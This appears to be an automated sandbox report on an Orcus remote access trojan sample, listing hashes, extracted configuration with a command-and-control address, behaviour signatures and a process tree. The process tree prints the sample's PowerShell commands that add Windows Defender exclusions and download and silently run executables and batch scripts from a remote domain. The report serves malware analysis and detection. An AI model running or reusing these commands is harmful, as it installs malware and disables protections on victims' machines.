Analysis

  • max time kernel
    118s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    08-12-2024 16:59

General

  • Target

    5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe

  • Size

    4.0MB

  • MD5

    8b0fa2f9a7d3822c44580a49dd546c97

  • SHA1

    e90ac8103e2877a3c607fd8e4bdcd4a132846015

  • SHA256

    5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c

  • SHA512

    2f168cfaf3cab1ab5cf274bc7983a64587fd26487fffa733393146e02ea609c0a0ed8f4527b58ad82416557afe91d1efa0b11afd35fbdfce7bc7a48a77c23680

  • SSDEEP

    98304:MANuSZTKA0t9FFPEE6zTOwlRVny+pnp4huLe1ypSb3o9JCm:/bk9fcHiwVyWRi1ypS6JC

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://exodus.lat/COMSurrogate.exe

Extracted

Family

orcus

C2

45.74.38.211:4782

Mutex

5473b263a5de48aaabfe373bccf83dd2

Attributes
  • autostart_method

    Disable

  • enable_keylogger

    false

  • install_path

    %programfiles%\Orcus\Orcus.exe

  • reconnect_delay

    10000

  • registry_keyname

    Orcus

  • taskscheduler_taskname

    Orcus

  • watchdog_path

    AppData\OrcusWatchdog.exe

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
  • Orcus

    Orcus is a Remote Access Trojan that is being sold on underground forums.

  • Orcus family
  • UAC bypass 3 TTPs 3 IoCs
  • Orcurs Rat Executable 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Windows security modification 2 TTPs 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Hijack Execution Flow: Executable Installer File Permissions Weakness 1 TTPs 1 IoCs

    Possible Turn off User Account Control's privilege elevation for standard users.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • System policy modification 1 TTPs 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe
    "C:\Users\Admin\AppData\Local\Temp\5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe"
    1⤵
    • Modifies Windows Defender Real-time Protection settings
    • UAC bypass
    • Loads dropped DLL
    • Windows security modification
    • Checks whether UAC is enabled
    • Hijack Execution Flow: Executable Installer File Permissions Weakness
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:2112
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell" Get-MpPreference -verbose
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2132
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\download.bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2732
      • C:\Windows\SysWOW64\net.exe
        net session
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1324
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 session
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2044
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\asm'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1260
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "& { (New-Object Net.WebClient).DownloadFile('https://exodus.lat/COMSurrogate.exe', 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe') }"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1956
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe' -WindowStyle Hidden"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1268
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\runsteal.bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1940
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Invoke-WebRequest -Uri 'https://exodus.lat/ss.bat' -OutFile 'C:\Users\Admin\AppData\Local\Temp\downloaded_script.bat' -UseBasicParsing"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2840
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\downloaded_script.bat"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1644
    • C:\Users\Admin\AppData\Local\Temp\smartscreen.exe
      "C:\Users\Admin\AppData\Local\Temp\smartscreen.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      PID:296

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabC1EA.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\download.bat

    Filesize

    819B

    MD5

    f2a75175c8082ccd3e1713b00556a6e2

    SHA1

    2f5dc37978320bc1ca207c0c0aff1240aad6c7cf

    SHA256

    019157c15709f7d6301cb0fb15f45c054230ea91f06ff817b426d7f6ccb14686

    SHA512

    011ab44e81d61636d5b1637584faf0701a5b2226289b6200cd89ad97927f52f1c659df626afc2b46edd656960d67934fff97f5e10fd6a7454027d430feafa7a9

  • C:\Users\Admin\AppData\Local\Temp\runsteal.bat

    Filesize

    399B

    MD5

    744f8978db36b4b9db7cb6e5c8c41e08

    SHA1

    84321921f622d20a4d40c9bef43b7744e74aaee7

    SHA256

    cedfe277f8c600679365ce2c54a9c303907a0acadc23ed6e6968746d2e8ca468

    SHA512

    d1584b2134bf3960af33a514b3a9fba69c7eb2fbbc3b0cffe7e493f182b20547f7596012fcc5e6b5ffbefee5a0b7d1afe45eee822cff5b0720ffd6292af2394f

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    090c785c1bd8e108eeec7dfcca8805d8

    SHA1

    7cc721ff796a216e26aadf314c243b911241ad50

    SHA256

    871628a642ccdf4497044f67868fa89a1c525cea0c1655e14fa4a78d8b3153b5

    SHA512

    c2e14980ede61999cf3dff4d3b555b39be3ca8e34412ffd0e69628a1dc3fc7bb12bfe82b4022caedca153f49bcb81fae13e37a89b5739fef02efbfe2ea8b6915

  • \Users\Admin\AppData\Local\Temp\smartscreen.exe

    Filesize

    164KB

    MD5

    1fed66d1f6b85bda20fe0403ca01c9bd

    SHA1

    6a3056191a7d8da167285b2bf5f9fa671022c8c1

    SHA256

    924ee12f6a98aeeb1c7836ec8984f0f93216bfff0433bcd4ee643d33d96db74a

    SHA512

    0fb1397078689a52d1c77cc239b1e42afa5ff87a3f5b4f825705e9bda1bd2c58bfb50a6067ea0a202fa7edb0a890cbac9314413fc8757c8b75a43fa0b12ef613

  • memory/296-82-0x0000000001260000-0x000000000128E000-memory.dmp

    Filesize

    184KB

  • memory/2112-5-0x0000000000480000-0x0000000000492000-memory.dmp

    Filesize

    72KB

  • memory/2112-6-0x0000000000650000-0x0000000000658000-memory.dmp

    Filesize

    32KB

  • memory/2112-9-0x00000000006C0000-0x00000000006C8000-memory.dmp

    Filesize

    32KB

  • memory/2112-10-0x00000000009D0000-0x00000000009E8000-memory.dmp

    Filesize

    96KB

  • memory/2112-11-0x0000000000D40000-0x0000000000D50000-memory.dmp

    Filesize

    64KB

  • memory/2112-0-0x00000000742AE000-0x00000000742AF000-memory.dmp

    Filesize

    4KB

  • memory/2112-7-0x00000000006A0000-0x00000000006A8000-memory.dmp

    Filesize

    32KB

  • memory/2112-8-0x00000000006B0000-0x00000000006BA000-memory.dmp

    Filesize

    40KB

  • memory/2112-4-0x00000000006F0000-0x000000000074C000-memory.dmp

    Filesize

    368KB

  • memory/2112-3-0x00000000742A0000-0x000000007498E000-memory.dmp

    Filesize

    6.9MB

  • memory/2112-2-0x0000000000370000-0x000000000037E000-memory.dmp

    Filesize

    56KB

  • memory/2112-1-0x00000000013C0000-0x00000000017C6000-memory.dmp

    Filesize

    4.0MB

  • memory/2112-37-0x00000000742AE000-0x00000000742AF000-memory.dmp

    Filesize

    4KB

  • memory/2112-38-0x00000000742A0000-0x000000007498E000-memory.dmp

    Filesize

    6.9MB

  • memory/2132-15-0x000000006D631000-0x000000006D632000-memory.dmp

    Filesize

    4KB

  • memory/2132-36-0x000000006D630000-0x000000006DBDB000-memory.dmp

    Filesize

    5.7MB

  • memory/2132-19-0x000000006D630000-0x000000006DBDB000-memory.dmp

    Filesize

    5.7MB

  • memory/2132-18-0x000000006D630000-0x000000006DBDB000-memory.dmp

    Filesize

    5.7MB

  • memory/2132-17-0x000000006D630000-0x000000006DBDB000-memory.dmp

    Filesize

    5.7MB

  • memory/2132-16-0x000000006D630000-0x000000006DBDB000-memory.dmp

    Filesize

    5.7MB